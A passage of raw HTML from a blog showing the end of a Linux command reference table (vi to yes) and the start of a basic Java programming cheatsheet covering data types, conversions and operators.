<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> v</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Verbosely list directory contents (`ls -l -b’)</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> vdir</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Verbosely list directory contents (`ls -l -b’)</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> vi</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Text Editor</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> vmstat</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Report virtual memory statistics</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td colspan="2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">W</strong></td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> wait</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Wait for a process to complete</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> watch</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Execute/display a program periodically</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> wc</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Print byte, word, and line counts</td></tr>
<tr style="border: 0px; font-family: inherit; height: 76px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 76px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> whereis</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 76px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Search the user’s $path, man pages and source files for a program</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> which</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Search the user’s $path for a program file</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> while</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Execute commands</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> who</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Print all usernames currently logged in</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> whoami</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Print the current user id and name (`id -un’)</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> wget</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Retrieve web pages or files via HTTP, HTTPS or FTP</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> write</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Send a message to another user</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td colspan="2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">X</strong></td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> xargs</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Execute utility, passing constructed argument lists</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> xdg-open</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Open a file or URL in the user’s preferred application</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td colspan="2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Y</strong></td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> yes</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Print a string until interrupted<br /></td></tr>
</tbody></table>
<br />This is proper list of kali as per <b>Comboupdates,</b> comment if not covered any :).<div>
</div>
</div>
Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-28597727714422321542017-09-03T21:00:00.000+05:302017-10-08T01:16:17.161+05:30Ultimate Java Programming Cheatsheet<div dir="ltr" style="text-align: left;" trbidi="on">
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<img alt="Ultimate Java Programming Cheatsheet" id="fullResImage" src="https://www.techworm.net/wp-content/uploads/2017/06/programming-java.jpg" title="Ultimate Java Programming Cheatsheet" /></div>
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<h2 style="background-color: white; border: 0px; color: #19232d; font-family: Arial, "Helvetica Neue", Helvetica, sans-serif; font-size: 21px; line-height: 1.5; margin: 0px 0px 24px; padding: 0px; vertical-align: baseline;">
Java Programming Cheatsheet</h2>
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<div style="background-color: white; border: 0px; color: #0e0b0b; font-family: Arial, "Helvetica Neue", Helvetica, sans-serif; font-size: 13px; margin-bottom: 1.857em; padding: 0px; vertical-align: baseline;">
<strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Java</strong> is one of the most popular, most adopted and general purpose programming language used by millions of developers and billions of devices around the world. It is a class-based, object-oriented language and designed to be portable, which means that you can find it on all platforms, operating systems, and devices. It is used to develop all kinds of Android apps, desktop apps, and video games. It is also commonly used as a server-side language for enterprise-level back end development. This programming language has long-term compatibility and developers are comfortable with Java.</div>
<div style="background-color: white; border: 0px; color: #0e0b0b; font-family: Arial, "Helvetica Neue", Helvetica, sans-serif; font-size: 13px; margin-bottom: 1.857em; padding: 0px; vertical-align: baseline;">
<strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Cheat-sheet for Java Programming is given below</strong>:</div>
<h3 class="cheat_sheet_output_title" id="title_464_1810" style="background-color: white; border: 0px; color: #19232d; font-family: Arial, "Helvetica Neue", Helvetica, sans-serif; font-size: 18px; line-height: 1.5; margin: 0px 0px 24px; padding: 0px; vertical-align: baseline;">
<span style="border: 0px; color: black; font-family: inherit; font-size: 12pt; margin: 0px; padding: 0px; vertical-align: baseline;">Java Data Types</span></h3>
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<span style="border: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"></span><br />
<div>
<span style="border: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">Data type specifies the size and type of values that can be stored in an identifier. The Java language is rich in its data types. Different data types allow you to select the type appropriate to the needs of the application.</span></div>
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Data types in Java are classified into two types:</div>
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<br /></div>
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<b>Primitive</b>—which include Integer, Character, Boolean, and Floating Point.</div>
<div>
<b>Non-primitive</b>—which include Classes, Interfaces, and Arrays.</div>
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<br /></div>
</span></div>
<div class="cheat_sheet_output_block" id="block_464_1810" style="background-color: white; border: 0px; color: #0e0b0b; font-family: Arial, "Helvetica Neue", Helvetica, sans-serif; font-size: 13px; margin: 0px 0px 1.857em; padding: 0px; vertical-align: baseline;">
<table border="2" cellpadding="0" cellspacing="0" class="cheat_sheet_output_twocol" id="cheat_sheet_output_table" style="background-color: transparent; border-collapse: collapse; border-spacing: 0px; border: 0px rgb(3, 3, 3); font-family: inherit; font-size: 13px; margin: 0px; max-width: 100%; padding: 0px; vertical-align: baseline;"><tbody style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
byte / short / int / long</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top">10,-30</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
float / double</div>
</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top">88.58</td></tr>
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
char</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
‘D’</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
boolean</div>
</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
true, false</div>
</td></tr>
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
String</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
“Keep Following Techworm”</div>
</td></tr>
</tbody></table>
<div style="border: 0px; font-family: inherit; margin-bottom: 1.857em; padding: 0px; vertical-align: baseline;">
<br /></div>
</div>
<h3 class="cheat_sheet_output_title" id="title_464_1818" style="background-color: white; border: 0px; color: #19232d; font-family: Arial, "Helvetica Neue", Helvetica, sans-serif; font-size: 18px; line-height: 1.5; margin: 0px 0px 24px; padding: 0px; vertical-align: baseline;">
<span style="border: 0px; color: black; font-family: inherit; font-size: 12pt; margin: 0px; padding: 0px; vertical-align: baseline;">Java Data Conversions</span></h3>
<div class="cheat_sheet_output_block" id="block_464_1818" style="background-color: white; border: 0px; margin: 0px 0px 1.857em; padding: 0px; vertical-align: baseline;">
<table style="background-color: transparent; border-collapse: collapse; border-spacing: 0px; border: 0px rgb(0, 0, 0); color: #0e0b0b; font-family: inherit; font-size: 13px; height: 121px; margin: 0px; max-width: 100%; padding: 0px; vertical-align: baseline; width: 247px;"><tbody style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline; width: 232px;"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">String to Number</strong><br />
int i = Integer.parseInt(<em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">str</em>);<br />
double d = Double.parseDouble(<em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">str</em>);</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline; width: 232px;"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Any Type to String</strong><br />
String s = String.valueOf(<em style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">value</em>);</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline; width: 232px;"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Numeric Conversions</strong><br />
int i = (int)</td></tr>
</tbody></table>
<div style="border: 0px; color: #0e0b0b; font-family: inherit; font-size: 13px; margin-bottom: 1.857em; padding: 0px; vertical-align: baseline;">
<br /></div>
<h3 class="cheat_sheet_output_title" id="title_464_1815" style="border: 0px; color: #19232d; font-family: inherit; font-size: 18px; line-height: 1.5; margin: 0px 0px 24px; padding: 0px; vertical-align: baseline;">
<span style="border: 0px; color: black; font-family: inherit; font-size: 12pt; margin: 0px; padding: 0px; vertical-align: baseline;">Java Arithmetic Operators</span></h3>
<div class="cheat_sheet_output_block" id="block_464_1815" style="border: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">
<table border="0" cellpadding="0" cellspacing="0" class="cheat_sheet_output_fourcol" id="cheat_sheet_output_table" style="background-color: transparent; border-collapse: collapse; border-spacing: 0px; border: 0px; color: #0e0b0b; font-family: inherit; font-size: 13px; margin: 0px; max-width: 100%; padding: 0px; vertical-align: baseline;"><tbody style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
x + y</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
add</div>
</td><td class="cheat_sheet_output_cell_3" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
x – y</div>
</td><td class="cheat_sheet_output_cell_4" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
subtract</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
x * y</div>
</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
multiply</div>
</td><td class="cheat_sheet_output_cell_3" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
x / y</div>
</td><td class="cheat_sheet_output_cell_4" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
divide</div>
</td></tr>
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
x % y</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
modulus</div>
</td><td class="cheat_sheet_output_cell_3" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
++x / x++</div>
</td><td class="cheat_sheet_output_cell_4" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
increment</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"></td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"></td><td class="cheat_sheet_output_cell_3" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
–x / x–</div>
</td><td class="cheat_sheet_output_cell_4" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
decrement</div>
</td></tr>
</tbody></table>
<div style="border: 0px; color: #0e0b0b; font-family: inherit; font-size: 13px; margin-bottom: 1.857em; padding: 0px; vertical-align: baseline;">
<br /></div>
<h3 class="cheat_sheet_output_title" id="title_464_1816" style="border: 0px; color: #19232d; font-family: inherit; font-size: 18px; line-height: 1.5; margin: 0px 0px 24px; padding: 0px; vertical-align: baseline;">
<span style="border: 0px; color: black; font-family: inherit; font-size: 12pt; margin: 0px; padding: 0px; vertical-align: baseline;">Java Comparison Operators</span></h3>
<div class="cheat_sheet_output_block" id="block_464_1816" style="border: 0px; color: #0e0b0b; font-family: inherit; font-size: 13px; margin: 0px; padding: 0px; vertical-align: baseline;">
<table border="0" cellpadding="0" cellspacing="0" class="cheat_sheet_output_fourcol" id="cheat_sheet_output_table" style="background-color: transparent; border-collapse: collapse; border-spacing: 0px; border: 0px; font-family: inherit; font-size: 13px; margin: 0px; max-width: 100%; padding: 0px; vertical-align: baseline;"><tbody style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
